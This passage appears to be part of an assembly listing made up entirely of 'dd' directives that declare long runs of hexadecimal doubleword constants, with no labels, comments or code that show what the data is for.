		dd 0E4DE3149h, 49836C88h, 9C40506Dh, 2848A92h, 694605CEh
		dd 7C512842h, 0D0521A01h, 0CFD0D826h, 0F5FC02F8h, 0E7F2EFB6h
		dd 34BDE8C0h, 8890E595h, 9E093CCAh, 4C7490B0h, 0D4AD2D2Ah
		dd 289A684Dh, 21546049h, 58F482ADh, 1A053210h, 0A9AF8566h
		dd 710BD350h, 45285047h, 0F2E07EE4h, 0B49C42h, 0F14E96BBh
		dd 6CEAB0B8h, 9E04C0B4h, 0C0A846B7h, 6D73D84h, 28D18A78h
		dd 5B18C975h, 0DF8D0A6h, 0B080411Ah, 282A4DB8h,	0D4A6CE12h
		dd 8ED49B40h, 2CEDE005h, 0BDC49333h, 0EC7C0438h, 70EA1512h
		dd 85B85010h, 9032C120h, 72CD278h, 0B7ACB460h, 0AFA9D06Bh
		dd 0C256A9Fh, 2C987111h, 0CD4D0838h, 974FF500h,	1AB2CE79h
		dd 0D0919ED0h, 0BD11C879h, 1F2A1A17h, 2861A5CCh, 7C9A2FF9h
		dd 137EC1C1h, 4264341Ch, 121669EAh, 0A8A3A878h,	0EA3059B2h
		dd 9F1E00A8h, 90177364h, 65EC0D2h, 0E0CDD880h, 0CC359591h
		dd 1AEB4980h, 5BAF647h,	0CC985C7Dh, 0B4D4F4C9h,	24C41D52h
		dd 2F2F9D9Bh, 9DAAC910h, 835411D0h, 0F9FCE98Fh,	103F4E88h
		dd 0B910D438h, 0B8292CD5h, 0E8C42747h, 83F22CE2h, 0BF63230h
		dd 0C205A17Dh, 0C09E4498h, 9CA4C313h, 9A4FF4B3h, 0A0808018h
		dd 4A82A27h, 0D76DD381h, 13D8ADCFh, 1D00E263h, 5790A098h
		dd 339C01A2h, 0FA884BF8h, 9A9C0F6h, 0C2CF7627h,	4414C710h
		dd 0C1776089h, 0CF8F0012h, 0DCC6DFB6h, 4D1203BBh, 5C5EB132h
		dd 8B57B2C5h, 8BF288B2h, 0DC4C30h, 0C30C9A95h, 6FE04738h
		dd 9524CC95h, 274044EDh, 0B34F03h, 1A84469Ch, 99CE19EFh
		dd 1EDAE88h, 896E21E0h,	2B63686Ch, 0D40E288Dh, 1EC08088h
		dd 0EABC23h, 0BA356E74h, 368D1AC4h, 799C9A9Fh, 188779E4h
		dd 0F2AC051Dh, 87F0364Dh, 0B66484h, 0FD17F1DAh,	7E190B78h
		dd 0F04CAA01h, 26D844h,	4F3AB66h, 0C6C8328Bh, 882AD0B4h
		dd 88D0654Ah, 1E9E438h,	0F4E08156h, 3396E1D3h, 3084F2C0h
		dd 9516D85Eh, 0A408A5C6h, 5284805Fh, 0EF2D964Bh, 0F673D300h
		dd 0A947B7B0h, 626A0095h, 9BA6A246h, 0CF4F44ECh, 5E633009h
		dd 0BAF501CCh, 251C4092h, 0C0A81B68h, 92A3F5EEh, 661B166Bh
		dd 26A0F015h, 0C979FF08h, 0CF290073h, 4482742h,	24678003h
		dd 0D8F25721h, 2566E6Bh, 9F7FADAEh, 442049B9h, 9FC9451Ah
		dd 10A26C99h, 227AB0F5h, 84BE84CEh, 1C816540h, 0F7FA0313h
		dd 89B9D60Ah, 686901F8h, 54C82B4Fh, 76200BBh, 285CEAB7h
		dd 649C3B51h, 745F465Eh, 5AE4433Ch, 0AF1AAC48h,	0C291EC97h
		dd 338C9787h, 1A88C355h, 7E16A344h, 0A8C0870Dh,	16D04933h
		dd 48BDF2B8h, 0E915180h, 8166A006h, 725930ABh, 8C8BAC84h
		dd 61B7A600h, 171EF00Eh, 60D458DCh, 0F4407214h,	26AE0111h
		dd 467484E8h, 0E4150284h, 0E4AF3FFEh, 0BAA45B0h, 0C0868858h
		dd 45C3771Ch, 9B673001h, 3A79E2C4h, 7AEF8040h, 4046788Bh
		dd 0D1096FCAh, 20B20EB0h, 0C72526DCh, 5E190BE7h, 0ACC9B191h
		dd 0E8AC7C1Bh, 8D008C55h, 4EF6390Fh, 0F117582h,	67652F25h
		dd 0C12A8A82h, 0C4698C8h, 1785082Fh, 81859108h,	64E44888h
		dd 0B88C403Ah, 70DDC87Eh, 9960F900h, 0D0AB9EE2h, 0D59F00B5h
		dd 956CE7C6h, 0CF5AF7B1h, 89E9C03Ch, 0D24C6196h, 0C5C4B255h
		dd 6054C47Ch, 3F568926h, 2E1E4508h, 825FD22Dh, 98DC7A4Ch
		dd 518ABA60h, 0EB1F2577h, 99F82446h, 5E72F004h,	40813707h
		dd 8C3DCF7Eh, 63A48B01h, 81489E45h, 0B254AC14h,	0CC2B0485h
		dd 4F012690h, 0D769775Bh, 7EE0E99Ch, 2F615AE0h,	2BB232Ch
		dd 0F22530E5h, 0B209ACD0h, 0DAA176B8h, 0E16E6058h, 0B3F2D032h
		dd 4E160CA0h, 8B6218A0h, 3B472680h, 0FD3E9055h,	0F3F8B2E1h
		dd 411EC13h, 459FC600h,	4B1C423Ah, 4F2AF09Ah, 0C51C00E9h
		dd 0CAA1B2CCh, 382F3AF9h, 0FE005A23h, 0B052D55Fh, 0C0CA5FB8h
		dd 560D2E38h, 172F5CBEh, 87C691DCh, 0E292E67Ah,	0F53C6851h
		dd 925B047Ch, 0BF594618h, 0E246981Dh, 9520EDBDh, 0C4DC2062h
		dd 383465Eh, 3B0C595Ah,	9728B1C1h, 0AA0B817Fh, 0D8B4504Dh
		dd 0CE809B1Ah, 8E234F6Ch, 0C785C8E0h, 0C4C8B084h, 9D012Ah
		dd 0FF3B2EA0h, 0B0C71241h, 0F284E28Ch, 0D3153081h, 925AA638h
		dd 0CC016776h, 4012F3EBh, 0A2CDD450h, 9FA8006Eh, 0B523AD1Eh
		dd 0B85A137Eh, 0E21A8C33h
		dd 90985574h, 0B23CB03Ah, 3749896Fh, 6018DEC3h,	527DC044h
		dd 0E81D9A1Fh, 0FD772680h, 5A9C98EEh, 80E4CA91h, 4244481h
		dd 280E115h, 1EC35242h,	0F0388BC0h, 5604616Ah, 238703E8h
		dd 23C35E20h, 3A467489h, 56460721h, 8D307BC3h, 3207FB85h
		dd 514605EBh, 0E4C35930h, 224C4689h, 51410019h,	299EFC3h
		dd 0BFFE9EC1h, 6D247A00h, 5C08316h, 55BD0E89h, 50CEE715h
		dd 66F904EFh, 725F1857h, 8C7CFEC3h, 9471D44h, 1502C357h
		dd 0AE0E7C80h, 0B13072FDh, 95294A30h, 0E71C3055h, 59BF66C1h
		dd 14FF713Eh, 290C02C5h, 5A0E3952h, 548944C3h, 0B0B11462h
		dd 45DEF03Eh, 659FEB00h, 95149D8Dh, 0C057FEAh, 2DA5BD8Bh
		dd 66785E5Eh, 0D3FFF817h, 0C2DF0303h, 0E185B9EDh, 90554C52h
		dd 0E4C35D40h, 0CF6C5389h, 4580458Bh, 0BD2B773Ah, 46088532h
		dd 372263E9h, 129E820h,	0FBED815Dh, 29E001E5h, 0BE13D185h
		dd 75BD0C2Eh, 60D00C2Ah, 860F2E07h, 23E10147h, 301AB219h
		dd 0D40039CCh, 7DE6B4FFh, 0D004840Fh, 0AD02BC21h, 599D8BDBh
		dd 61537CA4h, 89C8C35Bh, 0F5A75Ch, 1BC35343h, 830EF419h
		dd 0A1346E2Ch, 10E976BCh, 0CD12580h, 7F4C0E01h,	25392F03h
		dd 0B808288Fh, 3894CC8Bh, 0E568E381h, 0FF8DEFCh, 15138F35h
		dd 800B5508h, 8CF65BF7h, 0F803546Eh, 8D1CEEC6h,	0BE66885Fh
		dd 0B9803A5h, 56850FDBh, 50410885h, 91C358C3h, 17184489h
		dd 504088h, 2308FCC3h, 0D8D893Fh, 83A60C50h, 651BD71h
		dd 84E503F4h, 0BEBD2095h, 0E9304269h, 0B58B1335h, 0C7FEA85Dh
		dd 2E1CA285h, 20E9068Bh, 0C781070Bh, 1A57C608h,	90104E15h
		dd 0B015007Eh, 682C6585h, 0A4480596h, 318DF5C3h, 800DE9F7h
		dd 0C1AE4A2Dh, 3B407212h, 67001D6Ch, 8176D105h,	0FE72FF23h
		dd 0B57D0BE6h, 663C85E7h, 0D83ADB8Ch, 62001B23h, 1E37D923h
		dd 8A4A15ACh, 8414E2F6h, 1BFCC373h, 653A008Ch, 10BAE66Bh
		dd 8B613F32h, 2CD995B8h, 7464B4A4h, 2D001A46h, 0F8069085h
		dd 5064D3B8h, 0DE5D16A8h, 0E8310652h, 6300130Ah, 435F2B73h
		dd 3BBB8391h, 5AB49457h, 81A684BCh, 1221144h, 0C72538E9h
		dd 68C3A41Bh, 0A0909C4Fh, 244871B9h, 61BC0A2Ch,	4676A1B0h
		dd 22670018h, 31F71C2h,	2F5131B5h, 6370E6A8h, 3017A235h
		dd 8A3FC945h, 12CF80BCh, 0E40F4220h, 0C44FA571h, 1194601Ah
		dd 0CDF000DCh, 0D781E641h, 3905CB80h, 0D8B60F5Bh, 0B4CEAA9Bh
		dd 1506BA06h, 680D6B0h,	19289589h, 0C3F6822Eh, 1BD12091h
		dd 0F5E00918h, 31D7E000h, 0F519632h, 2502608Eh,	0E85E6160h
		dd 1E005F99h, 45E33995h, 0E186012Dh, 93A978AFh,	0AE1DC8FAh
		dd 0ABFD200h, 0CC76D7BEh, 0C15E0A69h, 5C4E04E8h, 0F7091646h
		dd 4A027C37h, 2090271h,	176D61h, 2BE2F766h, 0A2FFD853h
		dd 0C2C0301Ah, 0CBE3D701h, 5093DCA9h, 115497CAh, 6EF08017h
		dd 58FF3D70h, 98192B5h,	0A8279DBDh, 1D20F30Ch, 0E956291Ah
		dd 0D73800A7h, 150DEEB9h, 19532500h, 95177A3Ch,	2001B548h
		dd 215FF350h, 7442DE99h, 18115017h, 11ABD780h, 0C2906AA9h
		dd 73BDB824h, 1CD14829h, 0D006518h, 111E629Ah, 99C869A6h
		dd 0BD8480EAh, 7C1819A7h, 9675D23Fh, 0E50C283Dh, 1261DC67h
		dd 560D830Fh, 23633A2Fh, 40461C1Bh, 0C76813EDh,	0AE924EAFh
		dd 1AD10DB1h, 7500C918h, 6E20D09Eh, 288D01A0h, 30D31B91h
		dd 6A2B0CE8h, 69031946h, 0D288DC09h, 0D69AB8C9h, 0A8CB915Eh
		dd 912DF651h, 8E90CC5h,	701BB1Bh, 5AC8A335h, 87250347h
		dd 0C75DD41h, 2D596323h, 7F90D7BCh, 0E8E00AADh,	48537775h
		dd 2C404993h, 0C905000Fh, 0FA37854Ah, 223C8A2Fh, 55E481C7h
		dd 0E311BDFh, 585FE440h, 0D7E70581h, 46F9B22h, 1815E981h
		dd 5D880F94h, 52021019h, 7B95FFCh, 6893282h, 0F80318E6h
		dd 8341BA22h, 0C19B84C1h, 5029A6C0h, 0E69866D2h, 3B7D0201h
		dd 0D6860FD9h, 0F3BF3B41h, 67F20C71h, 621444F0h, 789F40B1h
		dd 0C1F62E55h, 99F9109h, 0A9EDB52Bh, 85EA9452h,	631D4435h
		dd 0D049E3FFh, 7235CDCh, 0BF86F233h, 356D5119h,	0F078365Bh
		dd 4A29160h, 0F202F00Bh, 554822Bh, 0B0C1DC20h, 0F8520491h
		dd 0A408343Dh, 9E12EF0h, 83A8B329h, 0FCE1F501h,	22071234h
		dd 91E9AFC4h, 0FF800AEh, 0C08BF0B7h, 31BD8916h,	1DA96737h
		dd 801C916Dh, 802BE6FAh, 0F5700A96h, 8039F1D0h,	7DE24A94h
		dd 0BF00144Ch, 0DB32345Ch, 0F685C750h, 137EC009h, 8176D52Dh
		dd 8214DE06h, 9A26A7Fh,	33098D31h, 850C876Dh, 0B031690Dh
		dd 0FF2F405Ah, 0F81642F9h, 819112CCh, 0B2181AD1h, 2623E102h
		dd 0CC508015h, 0D183912Eh, 0AB91818h, 8CF70187h, 90F909C7h
		dd 1C11301Dh, 8C24380h,	650B49B9h, 23811F8h, 2529D7h, 3245B531h
		dd 744AF9Ah, 777C012Bh,	0EE481050h, 0A1032056h,	99E90840h
		dd 0DD210013h, 2622632Eh, 0F195E71h, 0E81D118Fh, 1BA1340h
		dd 5DD718ACh, 56FFCAE3h, 4232ECBh, 0E1222C5h, 8B2ED610h
		dd 7097C680h, 78A50958h, 0F06015C4h, 0BD2A01CAh, 311CF435h
		dd 90E0A59Dh, 0BEF60037h, 62C23A19h, 25699529h,	943F371Dh
		dd 47C09B06h, 0A7DCCEEBh, 351C1E2Eh, 130D8D08h,	31C50D5Eh
		dd 0F014266Bh, 208FADh,	0A1B2FCB7h, 0FFF7EDE9h,	0B83B3DE3h
		dd 15885819h, 861E5904h, 121044Fh, 31846009h, 9D455F06h
		dd 0D4211691h, 0B9D07EDEh, 40FF53FEh, 8F3317A2h, 80C971B0h
		dd 21A213D2h, 0C827CF8Dh, 8193C514h, 62D6DDFh, 26D12550h
		dd 1991E09Dh, 67F79280h, 334801ABh, 0AE91013h, 91B8B3Bh
		dd 0B7430D2Fh, 3114A233h, 0D9A2008h, 0B0406089h, 0C49AF5EEh
		dd 1024D68h, 1E18361h, 0D21F6530h, 80AD9B2Dh, 84301028h
		dd 9C90A68Bh, 1C2C10E5h, 3869F860h, 6BD23410h, 22E4008Ah
		dd 0ADE0EB51h, 800A9925h, 0F9981A50h, 90CD0D2h,	802BED8Dh
		dd 6061315Ah, 50685FCh,	0C1563432h, 0EE415A3Eh,	0F011AE5h
		dd 188A2D8Ch, 0D91CB1B0h, 22E98127h, 3D0777CCh,	0F1DB99C6h
		dd 205D8B05h, 2C76D395h, 0FCAA30h, 9D4BC67Fh, 9AE40827h
		dd 98DB3324h, 0B3A94D8Ah, 770C343Bh, 0F72F5357h, 0A4051623h
		dd 9414FFE7h, 296391CDh, 19F9D938h, 7D05F418h, 0B6E394BEh
		dd 0F89AD08Ch, 0A3AA000Ah, 4CCFFAD7h, 0CB2BFCEh, 8B320120h
		dd 2209C1DDh, 0F080361Dh, 2D36EEC0h, 391098E3h,	0F9488F5Ch
		dd 3B72019Ah, 15AA6C17h, 0B4E82AECh, 82A18794h,	0C1EAF047h
		dd 0D31C2C36h, 46C25D07h, 0D8521190h, 0F13B09DEh, 19025E5Ah
		dd 640926B5h, 0AA4500A8h, 1E6D034h, 0DA002920h,	0B77DEF1Dh
		dd 140AB4B3h, 0C076CB6Ah, 5FC0D93Fh, 25A14AC5h,	18B245E3h
		dd 702CEF30h, 8BFC1C3Ah, 4DAAF2h, 0BB665153h, 5A5EE032h
		dd 2743F7A6h, 19E22452h, 1DB25A30h, 406AABFh, 96CDBD0Bh
		dd 0CCD37C27h, 1D23573Eh, 0D53B6800h, 5817C3Dh,	7D143A28h
		dd 0EABE0156h, 525F33ECh, 8B200662h, 911379B5h,	3A372527h
		dd 39E5D902h, 64404D93h, 730D601Ah, 33060AADh, 15EFFD07h
		dd 11DC751h, 2112D695h,	63097D35h, 3016E25Dh, 520A6621h
		dd 0BCF9FB8Bh, 223E6635h, 31041623h, 37C20637h,	47316AF9h
		dd 5888A370h, 0FEFABAB1h, 0E94E2F01h, 2D55B50Bh, 21C81205h
		dd 88D78BC3h, 7C097DC6h, 2F0E1D46h, 21C0E87Fh, 0FFEB6698h
		dd 2BB0502h, 666EB9C6h,	0B4CF01EDh, 3D2B9936h, 97552E2h
		dd 0D2C08020h
		dd 4925F233h, 14A82C28h, 0E9CD148Ch, 0CF818912h, 0D0C7487Fh
		dd 0E400B8D3h, 12FE3A0Ah, 26055D19h, 1386C51Fh,	0C75CC1C1h
		dd 0D54C2D85h, 1DABC6Fh, 0F8285E7h, 2361CBBFh, 3018A2FCh
		dd 95007ACAh, 7EB4EBDh,	0DCE99D61h, 78D92B21h, 0BD00AECEh
		dd 0C7874F59h, 14D9A354h, 51D3C280h, 48C14B8h, 498D899Eh
		dd 0C148D020h, 0F60704EBh, 0E917EE7Dh, 0C00070FFh, 0C16EE2D4h
		dd 6B00E5C5h, 65EBD3DCh, 0EFCFDEh, 0EEECDA61h, 4C245362h
		dd 0D4744206h, 9404Fh, 45D27E5Eh, 0DCED6343h, 592F8A00h
		dd 5AC69EF7h, 8FEAF72Bh, 52809FFCh, 2D72547Ah, 91D800F8h
		dd 7D4C92AAh, 0F731C03Eh, 75E23DCBh, 38099740h,	10B0010h
		dd 0AEF1E13Dh, 62F84761h, 0FFD21100h, 4AB589ADh, 1CF240h
		dd 329E3853h, 8D92341Ah, 7DB89801h, 4363A8F7h, 65A6E0h
		dd 30E7945h, 0CEEB933Bh, 606D7A6Fh, 0C1F5CD28h,	2C7C031Ah
		dd 2A71DFFFh, 3BFEDCF8h, 2929B667h, 98081050h, 67D90A8Eh
		dd 98B9ACB4h, 5E06DD3Eh, 0CA48E600h, 62A1D0FFh,	0FDC8C129h
		dd 818C961Ch, 49043346h, 1180846Ch, 217D4E9Fh, 0D27AE8D6h
		dd 4468A300h, 8F1DBD2Eh, 6BB43880h, 7925A06h, 3B0035B1h
		dd 0A7B90B14h, 1368702h, 0B3D786E5h, 9C8937A9h,	62159Ch
		dd 8DAAE24Dh, 729E491Fh, 735CE301h, 128A7E5Bh, 96894E94h
		dd 0D356D03h, 0EF7CC0A8h, 5CB3F200h, 4212684Eh,	5EE100EAh
		dd 4FC08D62h, 500016Ch,	0A689D925h, 2A9E3B78h, 94542Ah
		dd 5AB38FD8h, 3115341Bh, 4B02ED00h, 0F0A9FD4Fh,	2B536025h
		dd 1A360750h, 0A8C56A3Bh, 6F7086E3h, 2A260813h,	5664EB07h
		dd 33E05870h, 87200013h, 9BF6355Dh, 4F0093B3h, 0BA16B03Bh
		dd 0C044E8Ch, 59F7795Ch, 9AB0125Ch, 16E7C600h, 0DD6AE6C5h
		dd 80EB51CBh, 378258BDh, 12DA8AF4h, 634BFC80h, 360CF806h
		dd 44538F71h, 74BB0084h, 0DE357056h, 0E10CE9D1h, 21149C39h
		dd 0B7970EB1h, 60A0026Bh, 7A113D05h, 84AB5C00h,	861BD99h
		dd 0F67E072Dh, 4F67D8DBh, 0EC06CB95h, 0AD2F9124h, 9800DBECh
		dd 3F6A35CEh, 260601h, 45A089D5h, 0C41A206Eh, 8ECEFB01h
		dd 284C7B0h, 842BA40h, 0F0FF4A40h, 0DCA85AE1h, 0FE700159h
		dd 53E3703h, 0C8ED3506h, 0E03CBFh, 0B9B7F693h, 2A88BDF5h
		dd 68342500h, 307E5590h, 9840060Ah, 4A074B3Dh, 3C7F4800h
		dd 0F2D2F5C2h, 4A4304ACh, 802B146Ah, 55348391h,	4589350Eh
		dd 98180386h, 54E638A7h, 0E1A41EC4h, 0CEEE3F00h, 537734F0h
		dd 7C972F1h, 78528B5Fh,	0EB011944h, 0CCA781B9h,	20EDF1Eh
		dd 50AE8Dh, 236EA428h, 0E47316F0h, 0DDB60C89h, 9800C2A0h
		dd 68B696B7h, 7F92808h,	0B3C603AFh, 36504062h, 6B0045FDh
		dd 0D7A1D216h, 31AD78BBh, 11A6B533h, 0C61601h, 2003236Ah
		dd 0A6F4C4CDh, 6F39C498h, 0DAFC0013h, 0D779414Eh, 2FD43018h
		dd 0F1C48EFEh, 5D133400h, 0FED021C9h, 55750051h, 0BAE2009h
		dd 9200D3A5h, 0E6DBEC6h, 0C5C730h, 0C8C06FE1h, 0B288CEF8h
		dd 340A5B06h, 2DFD41h, 56F294D7h, 7E5C4E76h, 0F8C92000h
		dd 0FDC1CB50h, 414A00D5h, 0F33C0261h, 0A901F5D9h, 90305605h
		dd 13EC96B8h, 0D81B003Bh, 5D1DB714h, 2F7A61F2h,	0FEBD6h
		dd 12A700EEh, 755CF725h, 5F2DA1C9h, 0E7D1F743h,	0A4FAC2B0h
		dd 69089A45h, 8009CF6h,	546129A1h, 0E715EC60h, 995796h
		dd 66B49AB2h, 0D32F0F19h, 81A5E400h, 754572BDh,	1CB91829h
		dd 5EAF3594h, 3874400h,	26A02BBFh, 0BC82038Ah, 9D38E0ACh
		dd 280329D6h, 9BE7C7C1h, 97F40CB2h, 0CFD27AFDh,	0F7835070h
		dd 0A42EEDC0h, 382C1F8Ch, 4DB40A3h, 7008AD29h, 1146148h
		dd 19DC2273h, 109D6097h, 0DD309432h, 0A12CA001h, 847D4192h
		dd 9AE53916h, 580B2DC0h, 0EA8C003Eh, 4CA35179h,	0B219074Fh
		dd 6C44741Eh, 3E0D4C8h,	69E73085h, 950188AEh, 52725BE4h
		dd 0B8404713h, 0F6351531h, 0C2D714E2h, 8700BBE8h, 6C241CB6h
		dd 490353F2h, 9782ED4Ah, 333C00A7h, 86A8E0CFh, 2A4863CCh
		dd 96D50012h, 0FBDBCD5Ah, 50D27CA7h, 645939Eh, 0F840551Dh
		dd 7207109Ch, 1338BF23h, 9FE8B9D0h, 8D0D165Ch, 0F3B10358h
		dd 66EA71BCh, 5413ACC8h, 0DDF59800h, 8708EBF8h,	0BF8803CCh
		dd 12341463h, 0A723A8B8h, 0F697550Fh, 0D71C60DCh, 167F444h
		dd 4F3184B1h, 0E8C8A66Bh, 0CB022A7Bh, 0B371016Eh, 0BBB60C2h
		dd 0AE9047h, 2A080222h,	9E79AD9h, 3B280458h, 194A8089h
		dd 0F94F6AC5h, 0FAADA0D0h, 1D5800A9h, 0CA674451h, 0C03C960h
		dd 0CFF7DF23h, 2893E877h, 82972CCCh, 0ED1725h, 0D195036h
		dd 0F800D12Dh, 27614CAFh, 62C907h, 4336042Ah, 0D0904667h
		dd 97A79201h, 5317C4Bh,	0DEFCFCh, 0B195B780h, 59EBEFFEh
		dd 116D4D0Eh, 4900FC38h, 85A9E341h, 0ACFC014Bh,	642CB48Ah
		dd 0ED97FD51h, 61EE53D4h, 650F48h, 9CBCE9C0h, 65B72A1h
		dd 0C893277Bh, 0C4028FCEh, 41092D7Fh, 0B7DE60FEh, 2A0B848h
		dd 0BEFDCE1Fh, 0F6E41B40h, 6F234F00h, 0A506652h, 0CBEB003Dh
		dd 0A38388F7h, 2500105Fh, 0B4E2CD11h, 604FB886h, 0F1D86E43h
		dd 0A62491EDh, 18806E79h, 8102E43Ah, 45A39DECh,	24B18F54h
		dd 8C06BD83h, 1A70BA68h, 0F0347C89h, 113A6CBDh,	0E8F05522h
		dd 1F581600h, 3518F581h, 61476FEh, 4E6EF2C5h, 560F0C0Fh
		dd 80531F3Fh, 7D4574EDh, 0B8503E0Eh, 5A00993Bh,	8958C531h
		dd 54335DEEh, 10C4858Bh, 0CC7DF382h, 3D10681h, 8F01F716h
		dd 70D30840h, 3F0A189Dh, 0E67D8956h, 86EC651h, 46C68706h
		dd 6008FF5Ch, 63E96D5Eh, 0F8F6FC62h, 7F571C1Ch,	5017D2Ch
		dd 0EB1A89B8h, 7C503D4h, 7519E0FFh, 16F270F6h, 41C0A53h
		dd 2F004BCBh, 743E42EAh, 6950012h, 30FDABBEh, 61077ECDh
		dd 0E4AF2F4Fh, 2A4127C0h, 440A0045h, 8C9B6A5Bh,	0E00019C2h
		dd 3D57F5CAh, 7311DE4h,	1E4809D9h, 5FB27039h, 0DE00DB9Fh
		dd 13902659h, 1826964h,	9C484CE0h, 0F08128C4h, 7C075356h
		dd 651F4760h, 0EB73E8D0h, 910014Bh, 0C53C2F0Eh,	0ACDAE01Ah
		dd 0D41CA407h, 0E4175CD2h, 3134CE00h, 0F1B75F5h, 0D129B327h
		dd 0C7B00136h, 0F317E62Ah, 67D0DFF3h, 4FE1A6DBh, 41288001h
		dd 2D427E6h, 0E9C3727Dh, 36760DE3h, 261C4776h, 0CE0030AEh
		dd 11BA2114h, 0D3BF000Fh, 0BD83D88Bh, 0E74E07F1h, 7A85FDC1h
		dd 9C7E014h, 79C2B881h,	181DF1F9h, 1F15393Fh, 0CF7E7F00h
		dd 8A064A80h, 4C2CB1Ch,	3EF6B727h, 50750FF2h, 46202D0Eh
		dd 0DE80AFE6h, 8A0FB413h, 0B0EC6094h, 99028180h, 0FA03091Fh
		dd 75BEEC01h, 0B9E622EDh, 0C01D5977h, 31C28A60h, 0F2047185h
		dd 79BD1585h, 7518930Dh, 1C151209h, 31137488h, 0B8405350h
		dd 8DA324D0h, 0A8089D00h, 0D3FF05E9h, 1C58565Bh, 1A861120h
		dd 1EA75523h, 232FBE8Bh, 0BA505A2h, 8529C020h, 1D13BEF5h
		dd 1BC1898Dh, 6651C300h, 0FC07C281h, 609059E9h,	0D9C78B82h
		dd 37AE006Bh, 44A154DDh, 87342F00h, 6E785ED2h, 90500061h
		dd 8D89F48Ah, 2FA10231h, 0BD8B107Eh, 18939CFDh,	50D05A90h
		dd 0A5C88A3Bh, 34C748E9h, 295C0082h, 0A9DE07FEh, 1E007549h
		dd 274B6002h, 12FF4F16h, 0A31C6195h, 3116B285h,	8BBCC81Dh
		dd 3FBA1DC0h, 0B2C99A1h, 1BA98589h, 83D03D5Bh, 9AAD12FFh
		dd 0E125F082h, 6B446C32h, 0D1818508h, 0BC6CC45Bh, 505ED050h
		dd 487EF62Ch, 0FBC8AE17h
		dd 0E9C6FC8Eh, 47BC24F9h, 86B817A9h, 0DD975B02h, 64E89474h
		dd 0A7D20FDDh, 0F534D49Ah, 0CBDED980h, 9E00585Ah, 0E20A1C9Dh
		dd 0ED465BDh, 505FB4B7h, 8B970136h, 3A310FD1h, 0E0B70122h
		dd 3A2994h, 2709821Bh, 38542EB4h, 81213D1Eh, 0F71A83D3h
		dd 5EC2125Ch, 53EE4097h, 0FF7AD898h, 3B6FC202h,	4654CF72h
		dd 81601CAh, 32DB08Dh, 0C2533B46h, 569255E5h, 24CB1C59h
		dd 0FACF4E03h, 42006E75h, 34F42C91h, 1A00EA0Ah,	0AEB1084Ah
		dd 0C981BEh, 687563DCh,	0C5B5FF5Bh, 727A2D5Bh, 90CF8E09h
		dd 79638301h, 0FFF800EAh, 400DB6D0h, 0D3353776h, 0E589FE12h
		dd 17080C1Dh, 4D912E7h,	320F6108h, 0AD335826h, 1665E051h
		dd 0E6D4AAFDh, 19D91048h, 6BD22E52h, 3AAF00AFh,	0AC54B2A1h
		dd 0D8250238h, 1D9D2382h, 6803CB5Eh, 0DCBED393h, 0B1B91E90h
		dd 0B5DBA07Ah, 0C9DDA2D7h, 0EAFB7144h, 0E05DCD08h, 0F782716Fh
		dd 0A5FED700h, 0BD2B6A70h, 0A889755h, 6987C9EAh, 0E48335F8h
		dd 69FE29ECh, 0DB192441h, 1588450Bh, 0EFC04DC4h, 0C222E98Dh
		dd 0ECB3D07Dh, 4BEAF288h, 53C0E1EDh, 2F05B29h, 441EDF32h
		dd 0A37CA7E2h, 2D81FB40h, 2EEE64Ah, 0FDAD48E5h,	36F2E90Fh
		dd 7CF98A00h, 5E52DD3Dh, 33A048F8h, 0CE27A110h,	125110FAh
		dd 5E0A2CDDh, 0DFCF9102h, 52466EAh, 0D41F6D39h,	0F41E250h
		dd 607C13A1h, 79998432h, 0DCDE0070h, 0DF4ECDD7h, 9800C45Ah
		dd 0FFBF505Bh, 99414C67h, 8A60190Bh, 21B01102h,	1C311C21h
		dd 0F9661A45h, 0E1617D04h, 0BA01606Fh, 0D3A4AFC1h, 4D95D880h
		dd 0A5052648h, 0C7B88BADh, 0A5479C12h, 0AD791529h, 0FC242EA8h
		dd 4E06895Bh, 50E2FF13h, 48B17D8Ah, 0D1411A2Fh,	23FB3B2Fh
		dd 1E803E1Ch, 9CB740E3h, 0D158FF57h, 86BA18F0h,	0E121854Ah
		dd 0F4185D75h, 0C469A56Ch, 0E2A86017h, 767663h,	0BF5FF18Ah
		dd 2E2A25CFh, 83821791h, 43DB0570h, 0B940A4C1h,	4EFE9EE1h
		dd 9E045048h, 19FCB587h, 601C3C7Fh, 0E962186Ch,	38604079h
		dd 0B5D10042h, 9C65F51Fh, 0F417B45Fh, 6507BE61h, 0E76A32FAh
		dd 60FD8A42h, 7685CB36h, 611485Fh, 7AC22525h, 4DC877Ch
		dd 9ADE86C0h, 17078195h, 0B4C8939h, 80C052BDh, 82DC79EFh
		dd 0B0DCAC5Eh, 668B0751h, 5482D914h, 0AD0B82CAh, 8D0B23E8h
		dd 0C443EE7h, 70C05704h, 44E85ACEh, 6C01CC08h, 4DB1F909h
		dd 0F1743AC7h, 0F706C0CEh, 0C2685A61h, 0C44EE100h, 18528CBAh
		dd 4810135h, 0B12E3E24h, 885E4B3Bh, 6676C014h, 0ED0389BBh
		dd 5CEFE768h, 1959049Dh, 0C262A410h, 7B7E5595h,	72E8BA40h
		dd 0F9365CDBh, 0B32E2112h, 3018B2F2h, 741397ECh, 200E6026h
		dd 0DEB03295h, 9D090B5Ah, 0CA912221h, 0A6B915B9h, 58006EB8h
		dd 5CA94B52h, 98F0B57Eh, 0D2B71B52h, 7C10525Fh,	680705B1h
		dd 4F3BF599h, 7D2CD86Bh, 96FB3A12h, 87A0C98Ah, 17B62490h
		dd 9FF81D87h, 1F714A09h, 300B9786h, 5898D3BCh, 6533CC00h
		dd 7EAA07CAh, 0ECF014Ch, 27BC53F2h, 20EBF171h, 0E7C08650h
		dd 50F98B90h, 5A84CF57h, 0CD530512h, 13BA164Ch,	0A374A744h
		dd 0B5C642B1h, 90B58D0Dh, 0CB1D3077h, 8BC43A04h, 36F8E59Dh
		dd 60D1502Eh, 0F5EE9174h, 45236E00h, 0A9CA9F6Dh, 21BA4BBDh
		dd 0F8D7A415h, 0FE007529h, 961F40BBh, 0C2FBD4C5h, 5AE460BCh
		dd 0B7B56F78h, 5E050054h, 97CFCB09h, 0A9A5A101h, 8B0F5090h
		dd 7E525342h, 7DCF4031h, 410A24D7h, 9A905F9Fh, 4154674h
		dd 870F148Eh, 7DC469F8h, 61D6192Ch, 6001CFFEh, 0C61BBE1Ah
		dd 0EE745F04h, 46C3EA62h, 14DDE881h, 8B2612B3h,	7A8156B5h
		dd 2D91004Dh, 6C799DAh,	4D1602F5h, 358D89E6h, 0B147305Ch
		dd 82EAD96Bh, 1CD9533h,	0C6B5C249h, 7E806368h, 32EA2059h
		dd 0C0608937h, 82275DE2h, 12019361h, 0F4995CF8h, 4B3FD64Ch
